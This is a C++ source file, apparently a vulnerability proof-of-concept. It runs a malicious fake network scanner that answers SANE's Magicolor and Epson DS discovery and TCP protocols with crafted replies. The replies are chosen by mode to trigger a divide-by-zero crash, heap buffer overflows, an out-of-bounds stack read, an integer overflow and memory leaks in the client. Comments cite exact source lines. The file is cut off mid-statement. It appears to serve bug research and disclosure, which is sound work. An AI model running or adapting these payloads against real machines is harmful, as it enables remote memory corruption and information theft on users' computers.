/*
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.

This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
GNU General Public License for more details.

You should have received a copy of the GNU General Public License
along with this program.  If not, see <https://www.gnu.org/licenses/>.
*/

#include <stdio.h>
#include <string.h>
#include <errno.h>
#include <fcntl.h>
#include <assert.h>
#include <sys/epoll.h>
#include <netdb.h>
#include <unistd.h>
#include <algorithm>

#define ASN_BOOLEAN         0x01
#define ASN_INTEGER         0x02
#define ASN_BIT_STR         0x03
#define ASN_OCTET_STR       0x04
#define ASN_NULL            0x05
#define ASN_OBJECT_ID       0x06
#define ASN_SEQUENCE        0x10
#define ASN_SET             0x11

#define ASN_UNIVERSAL       0x00
#define ASN_APPLICATION     0x40
#define ASN_CONTEXT         0x80
#define ASN_PRIVATE         0xC0

#define ASN_PRIMITIVE       0x00
#define ASN_CONSTRUCTOR     0x20
#define ASN_LONG_LEN        0x80
#define ASN_EXTENSION_ID    0x1F
#define ASN_BIT8            0x80

#define ASN_COUNTER         (ASN_APPLICATION | 1)

#define SNMP_MSG_GET        (ASN_CONTEXT | ASN_CONSTRUCTOR | 0x0)
#define SNMP_MSG_GETNEXT    (ASN_CONTEXT | ASN_CONSTRUCTOR | 0x1)
#define SNMP_MSG_RESPONSE   (ASN_CONTEXT | ASN_CONSTRUCTOR | 0x2)
#define SNMP_MSG_SET        (ASN_CONTEXT | ASN_CONSTRUCTOR | 0x3)
#define SNMP_MSG_TRAP       (ASN_CONTEXT | ASN_CONSTRUCTOR | 0x4)
#define SNMP_MSG_GETBULK    (ASN_CONTEXT | ASN_CONSTRUCTOR | 0x5)
#define SNMP_MSG_INFORM     (ASN_CONTEXT | ASN_CONSTRUCTOR | 0x6)
#define SNMP_MSG_TRAP2      (ASN_CONTEXT | ASN_CONSTRUCTOR | 0x7)
#define SNMP_MSG_REPORT     (ASN_CONTEXT | ASN_CONSTRUCTOR | 0x8)

// Create a UDP socket and bind it to a port.
static int create_and_bind_udp(uint16_t port) {
  const int s = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
  if (s < 0) {
    fprintf(stderr, "error creating socket\n");
    return -1;
  }

  struct sockaddr_in servaddr;
  memset(&servaddr, 0, sizeof(servaddr));
  servaddr.sin_family      = AF_INET;
  servaddr.sin_addr.s_addr = htonl(INADDR_ANY);
  servaddr.sin_port        = htons(port);

  // Other programs are probably also listening on port 5353, so we
  // need to specify that we are happy to share.
  const int trueValue = 1;
  setsockopt(s, SOL_SOCKET, SO_REUSEADDR, &trueValue, sizeof(trueValue));

  if (bind(s, (struct sockaddr *) &servaddr, sizeof(servaddr)) < 0) {
    int err = errno;
    fprintf(stderr, "bind failed s=%d err=%d %s\n", s, err, strerror(err));
    return -1;
  }

  return s;
}

// Create a TCP socket and start listening on the specified port.
static int create_bind_and_listen_tcp(uint16_t port) {
  // Create a socket for listening on the port.
  const int sock = socket(PF_INET, SOCK_STREAM, 0);
  if (sock < 0) {
    printf("Failed to create socket. Try running with sudo.\n");
    return -1;
  }

  // Allow the port to be reused as soon as the program terminates.
  int one = 1;
  const int r0 =
    setsockopt(sock, SOL_SOCKET, SO_REUSEADDR, &one, sizeof(one));
  if (r0 < 0) {
    printf("Failed to set SO_REUSEADDR\n.");
    return -1;
  }

  // Bind the port.
  struct sockaddr_in addr;
  memset(&addr, 0, sizeof(addr));
  addr.sin_port = htons(port);
  addr.sin_addr.s_addr = INADDR_ANY;

  if (bind(sock, (struct sockaddr *)&addr, sizeof(addr)) < 0) {
    int err = errno;
    printf(
      "Error binding TCP socket to port. Try running with sudo.\nerrno = %d %s\n",
      err, strerror(err)
    );
    return -1;
  }

  // Start listening.
  const int r1 = listen(sock, SOMAXCONN);
  if (r1 < 0) {
    printf("listen failed.\n");
    return -1;
  }

  return sock;
}

static void print_addr(sockaddr_storage* peer_addr, socklen_t peer_addr_len) {
  char host[NI_MAXHOST], service[NI_MAXSERV];

  const int r = getnameinfo(
    (struct sockaddr *) peer_addr,
    peer_addr_len, host, NI_MAXHOST,
    service, NI_MAXSERV, NI_NUMERICSERV
  );
  if (r == 0) {
    printf("%s:%s", host, service);
  } else {
    printf("getnameinfo:%s", gai_strerror(r));
  }
}

// Base class for handling notifications from epoll.
class EPollHandlerInterface {
protected:
  const int sock_;

  EPollHandlerInterface(const int sock) : sock_(sock) {}

  int epoll_add(const int epollfd) {
    printf("epoll_add socket %d handler=%p\n", sock_, this);
    epoll_event ev;
    ev.events = EPOLLIN | EPOLLET;
    ev.data.ptr = (void*)this;
    if (epoll_ctl(epollfd, EPOLL_CTL_ADD, sock_, &ev) == -1) {
      printf("EPOLL_CTL_ADD failed");
      return -1;
    }
    return 0;
  }

public:
  virtual ~EPollHandlerInterface() {
    printf("closing socket %d handler=%p\n", sock_, this);
    close(sock_);
  }

  // If the result of `process_event` is negative, it means that the socket
  // should be closed and the epoll handler deleted.
  virtual int process_event(const epoll_event* event) = 0;
};

class RecvHandlerUDP {
public:
  virtual ~RecvHandlerUDP() {};

  // If the result of `process_event` is negative, it means that the socket
  // should be closed and the epoll handler deleted.
  virtual int receive(
    uint8_t* buf, ssize_t len,
    int sock, sockaddr_storage* peer_addr, socklen_t peer_addr_len
  ) = 0;
};

class RecvHandlerTCP {
public:
  virtual ~RecvHandlerTCP() {};

  // This is method is called immediately after the connection is
  // accepted. The return value is the number of bytes expected on the next
  // message. But if the return value is negative then it means that the
  // socket should be closed and the epoll handler deleted.
  virtual ssize_t accept(int sock) = 0;

  // `EpollRecvHandlerTCP` calls this method when it has received the
  // number of bytes that we asked for. Unlike the corresponding method in
  // `RecvHandlerUDP`, this method does not need a `len` parameter, because
  // we will get the exact number of bytes that we asked for. (We always
  // have to tell `EpollRecvHandlerTCP` how big we are expecting the next
  // message to be.) The return value is the number of bytes expected on
  // the next message. But if the return value is negative then it means
  // that the socket should be closed and the epoll handler deleted.
  virtual ssize_t receive(int sock, uint8_t* buf) = 0;

  // Our peer closed the connection.
  virtual void close(int sock) = 0;
};

// Factory class for constructing instances of RecvHandlerTCP.
class BuildRecvHandlerTCP {
public:
  virtual ~BuildRecvHandlerTCP() {};

  virtual RecvHandlerTCP* build() const = 0;
};

// Implementation of EPollHandlerInterface which reads data from
// a file descriptor. The data that was read is passed to the `handler_`
// field for further processing.
class EpollRecvHandlerUDP : public EPollHandlerInterface {
  // Handler pointer is owned by this class.
  RecvHandlerUDP* handler_;

  // Takes ownership of `handler`.
  EpollRecvHandlerUDP(const int sock, RecvHandlerUDP* handler)
    : EPollHandlerInterface(sock)
    , handler_(handler)
  {}

public:
  // Factory method. Constructs the class and registers the file descriptor
  // with epoll.
  static int build(
    const int epollfd, const int sock, RecvHandlerUDP* handler
  ) {
    if (sock < 0) {
      return sock;
    }

    if (!handler) {
      return -1;
    }

    // Make sure that the socket is non-blocking.
    const int flags = fcntl(sock, F_GETFL, 0);
    if (fcntl(sock, F_SETFL, flags | O_NONBLOCK) < 0) {
      printf("set non-blocking failed");
      return -1;
    }

    EpollRecvHandlerUDP *h = new EpollRecvHandlerUDP(sock, handler);
    if (!h) {
      return -1;
    }

    return h->epoll_add(epollfd);
  }

  virtual ~EpollRecvHandlerUDP() {
    printf("~EpollRecvHandlerUDP\n");
    delete handler_;
  }

  virtual int process_event(const epoll_event *) {
    // Keep reading from the socket until there's no more data.
    while (1) {
      sockaddr_storage peer_addr;
      socklen_t peer_addr_len;
      uint8_t buf[4096];

      peer_addr_len = sizeof(struct sockaddr_storage);
      const ssize_t recvsize = recvfrom(
        sock_, buf, sizeof(buf), 0,
        (struct sockaddr *) &peer_addr, &peer_addr_len);

      if (recvsize < 0) {
        return 0;
      }

      const int r =
        handler_->receive(buf, recvsize, sock_, &peer_addr, peer_addr_len);
      if (r < 0) {
        return r;
      }
   }
  }
};

// Implementation of EPollHandlerInterface which reads data from
// a file descriptor. The data that was read is passed to the `handler_`
// field for further processing.
class EpollRecvHandlerTCP : public EPollHandlerInterface {
  // Handler pointer is owned by this class.
  RecvHandlerTCP* handler_;

  uint8_t* buf_;  // Buffer for incoming data.
  size_t received_;     // Number of bytes received so far. (Stored in `buf_`.)
  size_t remaining_;    // Number of bytes we are still waiting for.

  // Takes ownership of `handler`.
  EpollRecvHandlerTCP(
    const int sock, RecvHandlerTCP* handler,
    uint8_t* buf, size_t remaining
  )
    : EPollHandlerInterface(sock)
    , handler_(handler)
    , buf_(buf)
    , received_(0)
    , remaining_(remaining)
  {}

public:
  // Factory method. Constructs the class and registers the file descriptor
  // with epoll.
  static int build(
    const int epollfd, const int sock, RecvHandlerTCP* handler,
    size_t remaining
  ) {
    if (sock < 0) {
      return sock;
    }

    if (!handler) {
      return -1;
    }

    // Make sure that the socket is non-blocking.
    const int flags = fcntl(sock, F_GETFL, 0);
    if (fcntl(sock, F_SETFL, flags | O_NONBLOCK) < 0) {
      printf("set non-blocking failed");
      return -1;
    }

    uint8_t* buf = new uint8_t[remaining];
    if (!buf) {
      return -1;
    }

    EpollRecvHandlerTCP *h =
      new EpollRecvHandlerTCP(sock, handler, buf, remaining);
    if (!h) {
      return -1;
    }

    return h->epoll_add(epollfd);
  }

  virtual ~EpollRecvHandlerTCP() {
    printf("~EpollRecvHandlerTCP\n");
    delete[] buf_;
    delete handler_;
  }

  virtual int process_event(const epoll_event *) {
    // Keep reading from the socket until there's no more data.
    while (1) {
      sockaddr_storage peer_addr;
      socklen_t peer_addr_len;

      peer_addr_len = sizeof(struct sockaddr_storage);
      const ssize_t recvsize = recvfrom(
        sock_, buf_ + received_, remaining_, 0,
        (struct sockaddr *) &peer_addr, &peer_addr_len);

      if (recvsize == 0) {
        // If we received zero bytes, then it means that our peer closed
        // the connection.
        printf("Our peer closed the TCP socket: %d.\n", sock_);
        handler_->close(sock_);
        return -1;
      }

      if (recvsize < 0) {
        int err = errno;
        if (err == EAGAIN || err == EWOULDBLOCK) {
          // Need to wait for more input. (We will get a notification from
          // epoll when that happens.)
          return 0;
        }
        printf("TCP error. sock=%d err=%s.\n", sock_, strerror(err));
        return err;
      }

      printf("TCP socket %d (handle %p) received %ld bytes.\n", sock_, this, recvsize);

      // Check if we have received all the input.
      remaining_ -= recvsize;
      received_ += recvsize;
      if (remaining_ == 0) {
        const ssize_t r =
          handler_->receive(sock_, buf_);
        if (r < 0) {
          return r;
        }

        // Get the buffer and counters ready for the next message.
        delete[] buf_;
        buf_ = new uint8_t[r];
        received_ = 0;
        remaining_ = r;
      }
    }
  }
};

// Implementation of EPollHandlerInterface which handles TCP connection
// request.
class EpollTcpConnectHandler : public EPollHandlerInterface {
  const int epollfd_;

  // Factory pointer is owned by this class.
  const BuildRecvHandlerTCP* factory_;

  // Takes ownership of `factory`.
  EpollTcpConnectHandler(
    const int epollfd, const int sock, const BuildRecvHandlerTCP* factory
  ) : EPollHandlerInterface(sock)
    , epollfd_(epollfd)
    , factory_(factory)
  {}

public:
  // Factory method. Constructs the class and registers the file descriptor
  // with epoll.
  static int build(
    const int epollfd, const int sock, const BuildRecvHandlerTCP* factory
  ) {
    if (sock < 0) {
      return sock;
    }

    if (!factory) {
      return -1;
    }

    // Make sure that the socket is non-blocking.
    const int flags = fcntl(sock, F_GETFL, 0);
    if (fcntl(sock, F_SETFL, flags | O_NONBLOCK) < 0) {
      printf("set non-blocking failed");
      return -1;
    }

    EpollTcpConnectHandler *h =
      new EpollTcpConnectHandler(epollfd, sock, factory);
    if (!h) {
      return -1;
    }

    return h->epoll_add(epollfd);
  }

  virtual ~EpollTcpConnectHandler() {
    delete factory_;
  }

  virtual int process_event(const epoll_event *) {
    while (1) {
      sockaddr addr;
      socklen_t addr_len = sizeof(addr);
      const int s = accept(sock_, &addr, &addr_len);
      if (s < 0) {
        return 0; // No need to close the listener down.
      }

      printf("accepting TCP connection sock=%d\n", s);

      RecvHandlerTCP* handler = factory_->build();
      if (!handler) {
        printf("factory failed.\n");
        close(s);
        return 0; // No need to close the listener down.
      }

      ssize_t remaining = handler->accept(s);
      if (remaining < 0) {
        close(s);
        return 0;
      }

      if (EpollRecvHandlerTCP::build(epollfd_, s, handler, remaining) < 0) {
        printf("Could not register accepted socket with epoll.\n");
        close(s);
        return 0;
      }
    }
    return 0;
  }
};

// This SNMP handler is the first stage of the Magicolor code.  The code in
// magicolor.c uses libsnmp to search the network for scanners. The
// response uses asn1 encoding, but I didn't find any bugs in the asn1
// parser. There is a minor bug in mc_network_discovery_handle though:
//
// magicolor.c:1915
//   cap = mc_get_device_from_identification (device);
//
// `device` is an uninitialized local variable. Ironically, this bug
// gets cancelled by another bug in mc_get_device_from_identification:
//
//  static struct MagicolorCap *
//  mc_get_device_from_identification (const char*ident)
//  {
//          int n;
//          for (n = 0; n < NELEMS (magicolor_cap); n++) {
//                  if (strcmp (magicolor_cap[n].model, ident) || strcmp (magicolor_cap[n].OID, ident))
//                          return &magicolor_cap[n];
//          }
//          return NULL;
//  }
//
// The bug is that strcmp returns 0 when the strings are equal, so this
// function always succeeds immediately on the first iteration of the loop,
// even when `ident` contains garbage (which it does because it's
// uninitialized).
class SNMPHandlerUDP : public RecvHandlerUDP {
public:
  SNMPHandlerUDP() {}
  virtual ~SNMPHandlerUDP() {}

  virtual int receive(
    uint8_t* buf, ssize_t len,
    int sock, sockaddr_storage* peer_addr, socklen_t peer_addr_len
  ) {
    printf("SNMP discover ");
    print_addr(peer_addr, peer_addr_len);
    printf("\n");
    ssize_t i;
    for (i = 0; i < len; i++) {
      printf("%.2x", buf[i]);
    }
    printf("\n");

    const uint8_t response[] =
      { 48, // ASN_SEQUENCE | ASN_CONSTRUCTOR
        39, // Total length
        ASN_INTEGER, 1, 1, // Version number = 1
        ASN_OCTET_STR, 9, 'k','e','v','w','o','z','e','r','e',
        SNMP_MSG_TRAP, // We have a choice here
        23,
        ASN_OBJECT_ID,
        4, 20,21,22,23, // objid of length 4
        ASN_OCTET_STR, 4, 'k','e','v','w',
        ASN_INTEGER, 1, 1, // pdu->trap_type = 1
        ASN_INTEGER, 1, 1, // pdu->specific_type = 1
        ASN_COUNTER, 1, 1,  // pdu->time = 1
        48, // ASN_SEQUENCE | ASN_CONSTRUCTOR
        0   // Length of varbind sequence.
      };

    printf("sizeof(response) = %ld\n", sizeof(response));
    sendto(
      sock, response, sizeof(response), 0,
      (struct sockaddr *)peer_addr,
      peer_addr_len
    );

    return 0;
  }
};

// This handler accepts a connection from magicolor.c.  It just contains
// the basic logic to handle the initial handshake and doesn't do anything
// deliberately malicious.  But if you press the "Scan" button after the
// connection is complete, then simple-scan crashes with a SIGFPE at
// magicolor.c, line 1146:
//
// s->block_len = (int)(0xff00/s->scan_bytes_per_line) * s->scan_bytes_per_line;
//
// The crash happens because `scan_bytes_per_line` is zero.  I believe
// that's because this handler responds to the cmd_get_scanning_parameters
// (magicolor.c:815) with a buffer full of zeros. Note: this TCP handler is
// very incomplete and doesn't parse the Magicolor messages properly, so it
// mistakenly thinks that it's handling another connection handshake when
// it's actually handling a scanning attempt. The buffer full of zeros is
// sent by the `S_fin` logic.
class MagicolorHandlerTCP : public RecvHandlerTCP {
  enum State {
    S_ack,
    S_err1,
    S_fin,
    S_err2,
    S_close
  };

  State state_;

public:
  MagicolorHandlerTCP() : state_(S_ack) {}

  virtual ssize_t accept(const int sock) {
    printf("Sending welcome message.\n");

    // Send back a welcome message.
    const char reply[3] = {4,0,0};
    if (send(sock, reply, sizeof(reply), 0) < 0) {
      printf("send failed.\n");
    }

    state_ = S_ack;
    return 5;
  }

  virtual ssize_t receive(int sock, uint8_t*) {
    switch (state_) {
    case S_ack:
    {
      // Send back the ack message.
      printf("magicolor ack\n");
      const char reply[3] = {4,2,0};
      if (send(sock, reply, sizeof(reply), 0) < 0) {
        printf("send failed.\n");
      }
      state_ = S_err1;
      return 64;
    }

    case S_err1:
    {
      // Send back the error status.
      printf("magicolor err1\n");
      const char reply[1] = {0};
      if (send(sock, reply, sizeof(reply), 0) < 0) {
        printf("send failed.\n");
      }
      state_ = S_fin;
      return 64;
    }

    case S_fin:
    {
      printf("magicolor fin\n");
      const char reply[0xb] = {0,0,0,0,0,0,0,0,0,0,0};
      if (send(sock, reply, sizeof(reply), 0) < 0) {
        printf("send failed.\n");
      }
      state_ = S_err2;
      return 64;
    }

    case S_err2:
    {
      // Send back the error status.
      printf("magicolor err2\n");
      const char reply[1] = {0};
      if (send(sock, reply, sizeof(reply), 0) < 0) {
        printf("send failed.\n");
      }
      state_ = S_close;
      return 3;
    }

    case S_close:
    {
      printf("magicolor close\n");
      state_ = S_ack;
      return -1;
    }

    default:
      return -1;
    }
  }

  virtual void close(int) {}
};

class BuildMagicolorHandlerTCP : public BuildRecvHandlerTCP {
public:
  virtual RecvHandlerTCP* build() const {
    return new MagicolorHandlerTCP();
  }
};

static const char epsonp_discover[15] = "EPSONP\x00\xff\x00\x00\x00\x00\x00\x00";

static const char epsonp_response[76] =
  "EPSON                                                                      ";

class EpsonHandlerUDP : public RecvHandlerUDP {
public:
  EpsonHandlerUDP() {}
  virtual ~EpsonHandlerUDP() {}

  virtual int receive(
    uint8_t* buf, ssize_t len,
    int sock, sockaddr_storage* peer_addr, socklen_t peer_addr_len
  ) {
    print_addr(peer_addr, peer_addr_len);
    if (len != sizeof(epsonp_discover)) {
      // We're not interested in this message.
      return 0;
    }
    if (memcmp(buf, epsonp_discover, sizeof(epsonp_discover)) != 0) {
      // We're not interested in this message.
      return 0;
    }

    printf("EPSON discover\n");
    if (sendto(
          sock, epsonp_response, sizeof(epsonp_response), 0,
          (struct sockaddr *)peer_addr,
          peer_addr_len
        ) < 0) {
      printf("failed to send response.\n");
    }

    return 0;
  }
};

class EpsonHandlerTCP : public RecvHandlerTCP {
  enum HdrState {
    H_wait_hdr, // Waiting for the 12 byte header
    H_wait_extra_hdr, // Waiting for the extra 8 header bytes
    H_wait_payload, // Waiting for the message payload
    H_wait_moreinfo // Waiting for the request for more info
  };

  // What type of payload we are expecting.
  enum PayloadState {
    P_normal,
    P_paramblock,
    P_img
  };

  // mode_ is a command line argument, telling us which bug to target.
  const int mode_;

  HdrState state_;
  PayloadState payload_state_;
  uint16_t cmd_;
  uint32_t buf_size_;
  uint32_t reply_len_;

  uint8_t malicious_buf[12 + 0x1271];

  ssize_t send_ack(int sock) {
    const char reply[13] = {'I', 'S', 0, 0, 0, 12, 0, 0, 0, 1, 0, 0, 6};
    if (send(sock, reply, sizeof(reply), 0) < 0) {
      printf("send failed.\n");
    }

    state_ = H_wait_hdr;
    return 12;
  }

  void send_info_harmless(int sock, int more) {
    char reply[76] =
      {'I', 'S', 0, 0, 0, 12, 0, 0, 0, 64, 0, 0,
       'I','N','F','O','x',0,0,0,0,0,0,0,0,0,0,0,
       0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
       0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
       0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
      };
    sprintf(
      &reply[17],
      "%07x#FB AREAi0000850i0001400#PRDh009kevwozere#---", more);
    if (send(sock, reply, sizeof(reply), 0) < 0) {
      printf("send failed.\n");
    }
  }

  ssize_t send_para_response(int sock) {
    char reply[76] =
      {'I', 'S', 0, 0, 0, 12, 0, 0, 0, 64, 0, 0,
       'P','A','R','A','x','0','0','0','0','0','0','0','#','-','-','-',
       0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
       0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
       0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
      };
      if (send(sock, reply, sizeof(reply), 0) < 0) {
        printf("send failed.\n");
      }
      state_ = H_wait_hdr;
      payload_state_ = P_normal;
      return 12;
  }

  ssize_t send_img_response(int sock) {
    const char reply[12] = {'I', 'S', 0, 0, 0, 12, 0, 0, 0, 1, 0, 0};
    *(uint32_t*)&reply[6] = htonl(reply_len_);
    if (send(sock, reply, sizeof(reply), 0) < 0) {
      printf("send failed.\n");
    }

    // Send a fake image. We specified an enormous image size in
    // the "IMG" case of `eds_send`. (The huge size that we specified
    // is now stored in `reply_len`.) This is going to cause a
    // buffer overflow in esci2_img (epsonds-cmd.c:884).
    char buf[0x10000];
    memset(buf, 0, sizeof(buf));
    uint32_t sentbytes = 0;
    while (sentbytes < reply_len_) {
      const ssize_t wr =
        send(
          sock, buf,
          std::min(uint32_t(sizeof(buf)), reply_len_ - sentbytes),
          0
        );
      if (wr < 0) {
        const int err = errno;
        if (err == EAGAIN || err == EWOULDBLOCK) {
          continue;
        } else {
          printf("send failed: %s\n", strerror(err));
          break;
        }
      } else {
        printf("sent image: %ld bytes\n", wr);
      }
      sentbytes += wr;
    }
    printf("total sent: %ld bytes\n", size_t(sentbytes));

    state_ = H_wait_hdr;
    payload_state_ = P_normal;
    return 12;
  }

  ssize_t eds_send(int sock, uint8_t* buf) {
    printf("eds_send: %.02x %.02x %.02x\n", buf[0], buf[1], buf[2]);
    if (buf_size_ == 2 && memcmp(buf, "\x1CX", 2) == 0 && reply_len_ == 1) {
      if (mode_ == 2) {
        // Trigger a buffer overflow at epsonds-net.c:135. We control the
        // value of `size`, so we can write an arbitrary amount of data
        // into `s->netbuf`.
        char reply[4096];
        const char header[12] =
          {'I', 'S', 0, 0, 0, 12, 0, 0, 0, 0, 0, 0};
        memset(reply, 0xcd, sizeof(reply));
        memcpy(reply, header, sizeof(header));
        *(uint32_t*)&reply[6] = htonl(sizeof(reply));
        if (send(sock, reply, sizeof(reply), 0) < 0) {
          printf("send failed.\n");
        }

        state_ = H_wait_hdr;
        return 12;
      }
      return send_ack(sock);
    } else if (buf_size_ == 12 && memcmp(buf, "INFOx0000000", 12) == 0 && reply_len_ == 64) {
      if (mode_ == 3) {
        // Copy uninitialized data into the reply buffer at epsonds-net.c:164.
        // Because `size == 0`, no data was read from the network, so `s->netbuf`
        // is still a newly malloc-ed buffer, containing uninitialized bytes.
        char reply[13] =
          {'I', 'S', 0, 0, 0, 12, 0, 0, 0, 0, 0, 0, 'K'};
        if (send(sock, reply, sizeof(reply), 0) < 0) {
          printf("send failed.\n");
        }
      } else if (mode_ == 4) {
        // Out of bounds read in decode_binary (epsonds-cmd.c:273)
        // This will read 0xFFF bytes from the stack and copy it into
        // a malloc-ed buffer.
        char reply[76] =
          {'I', 'S', 0, 0, 0, 12, 0, 0, 0, 64, 0, 0,
           'I','N','F','O','x',0,0,0,0,0,0,0,0,0,0,0,
           0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
           0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
           0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
          };
        int more = 0;
        sprintf(
          &reply[17],
          "%07x#FB AREAi0000850i0001400#PRDhfffkevwozere#---", more);
        if (send(sock, reply, sizeof(reply), 0) < 0) {
          printf("send failed.\n");
        }
      } else if (mode_ == 5) {
        // Trigger a SIGPIPE in sanei_tcp_write (sanei_tcp.c:120)
        // They should pass the flag MSG_NOSIGNAL to avoid this.
        // Actually, this doesn't cause a crash so this isn't a bug.
        // There must be a signal handler for SIGPIPE.
        char reply[76] =
          {'I', 'S', 0, 0, 0, 12, 0, 0, 0, 64, 0, 0,
           'I','N','F','O','x',0,0,0,0,0,0,0,0,0,0,0,
           0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
           0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
           0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
          };
        sprintf(&reply[17],"%07x#nrdBUSY#---", 0);
        for (size_t i = 0; i < 4; i++) {
          if (send(sock, reply, sizeof(reply), 0) < 0) {
            printf("send failed.\n");
          }
        }

        // Close the socket, to trigger a SIGPIPE on the other end.
        shutdown(sock, SHUT_RDWR);
        return -1;
      } else if (mode_ == 6) {
        // Potential information leak from the sscanf at epsonds-cmd.c:120:
        // the %x format specifier reads off the end of the buffer. If the
        // next bytes on the stack are valid ASCII digits then they will
        // be read into `more` and returned to us in the next message.
        char reply[92] =
          {'I', 'S', 0, 0, 0, 12, 0, 0, 0, 64, 0, 0,
           'I','N','F','O','x','0','0','0','0','0','0','0','0','0','0','0',
           '0','0','0','0','0','0','0','0','0','0','0','0','0','0','0','0',
           '0','0','0','0','0','0','0','0','0','0','0','0','0','0','0','0',
           '0','0','0','0','0','0','0','0','0','0','0','0','0','0','0','0'
          };
        if (send(sock, reply, sizeof(reply), 0) < 0) {
          printf("send failed.\n");
        }
      } else if (mode_ == 7) {
        // Integer overflow in the count parameter of sanei_tcp_read
        // (sanei_tcp.c:124). Also interesting to note that the error
        // is ignored at epsonds-cmd.c:195.
        char reply[76 + 12] =
          {'I', 'S', 0, 0, 0, 12, 0, 0, 0, 64, 0, 0,
           'I','N','F','O','x',0,0,0,0,0,0,0,0,0,0,0,
           0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
           0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
           0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
           'I', 'S', 0, 0, 0, 12, -1, -1, -1, -1, 0, 0
          };
        unsigned int more = 0xFFFFFFFF;
        sprintf(
          &reply[17],
          "%08x#FB AREAi0000850i0001400#PRDh009kevwozere#---", more);
        if (send(sock, reply, sizeof(reply), 0) < 0) {
          printf("send failed.\n");
        }
        // Send another byte because `epsonds_net_read_raw` uses `select`
        // to wait until there's more data available before it triggers
        // the call to `sanei_tcp_read`.
        if (send(sock, reply, 1, 0) < 0) {
          printf("send failed.\n");
        }
      } else {
        send_info_harmless(sock, 0);
      }
      state_ = H_wait_hdr;
      return 12;
    } else if (buf_size_ == 12 && memcmp(buf, "CAPAx0000000", 12) == 0 && reply_len_ == 64) {
      char reply[76] =
        {'I', 'S', 0, 0, 0, 12, 0, 0, 0, 64, 0, 0,
          'C','A','P','A','x',0,0,0,0,0,0,0,0,0,0,0,
          0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
          0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
          0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
        };
      int more = 0;
      sprintf(&reply[17], "%07x#RSMRANGi0000050i0000600#---", more);
      if (send(sock, reply, sizeof(reply), 0) < 0) {
        printf("send failed.\n");
      }

      state_ = H_wait_hdr;
      return 12;
    } else if (buf_size_ == 12 && memcmp(buf, "RESAx0000000", 12) == 0 && reply_len_ == 64) {
      char reply[76] =
        {'I', 'S', 0, 0, 0, 12, 0, 0, 0, 64, 0, 0,
          'R','E','S','A','x',0,0,0,0,0,0,0,0,0,0,0,
          0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
          0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
          0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
        };
      int more = 0;
      sprintf(&reply[17], "%07x#---", more);
      if (send(sock, reply, sizeof(reply), 0) < 0) {
        printf("send failed.\n");
      }

      state_ = H_wait_hdr;
      return 12;
    } else if (buf_size_ == 12 && memcmp(buf, "FIN x0000000", 12) == 0 && reply_len_ == 64) {
      char reply[76] =
        {'I', 'S', 0, 0, 0, 12, 0, 0, 0, 64, 0, 0,
          'F','I','N',' ','x',0,0,0,0,0,0,0,0,0,0,0,
          0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
          0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
          0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
        };
      int more = 0;
      sprintf(&reply[17], "%07x#---", more);
      if (send(sock, reply, sizeof(reply), 0) < 0) {
        printf("send failed.\n");
      }

      state_ = H_wait_hdr;
      return 12;
    } else if (buf_size_ == 12 && memcmp(buf, "TRDTx0000000", 12) == 0 && reply_len_ == 64) {
      char reply[76] =
        {'I', 'S', 0, 0, 0, 12, 0, 0, 0, 64, 0, 0,
          'T','R','D','T','x',0,0,0,0,0,0,0,0,0,0,0,
          0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
          0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
          0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
        };
      int more = 0;
      sprintf(&reply[17], "%07x#---", more);
      if (send(sock, reply, sizeof(reply), 0) < 0) {
        printf("send failed.\n");
      }

      state_ = H_wait_hdr;
      return 12;
    } else if (buf_size_ == 12 && memcmp(buf, "IMG x0000000", 12) == 0 && reply_len_ == 64) {
      char reply[76] =
        {'I', 'S', 0, 0, 0, 12, 0, 0, 0, 64, 0, 0,
          'I','M','G',' ','x',0,0,0,0,0,0,0,0,0,0,0,
          0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
          0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
          0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
        };

      // Announce that we're going to send an image with 0x10000000 bytes.
      // The payload will be sent by `send_img_response()`.
      unsigned int more = 0x10000000;
      sprintf(&reply[17], "%08x#---", more);
      if (send(sock, reply, sizeof(reply), 0) < 0) {
        printf("send failed.\n");
      }

      state_ = H_wait_hdr;
      payload_state_ = P_img;
      return 12;
    } else if (buf_size_ == 12 && memcmp(buf, "PARAx", 5) == 0 && reply_len_ == 0) {
      char reply[] =
        {'I', 'S', 0, 0, 0, 12, 0, 0, 0, 0, 0, 0};
      if (send(sock, reply, sizeof(reply), 0) < 0) {
        printf("send failed.\n");
      }
      state_ = H_wait_hdr;
      payload_state_ = P_paramblock;
      return 12;
    } else if (buf_size_ == 12 && memcmp(buf, "PARAx", 5) == 0) {
      char reply[] =
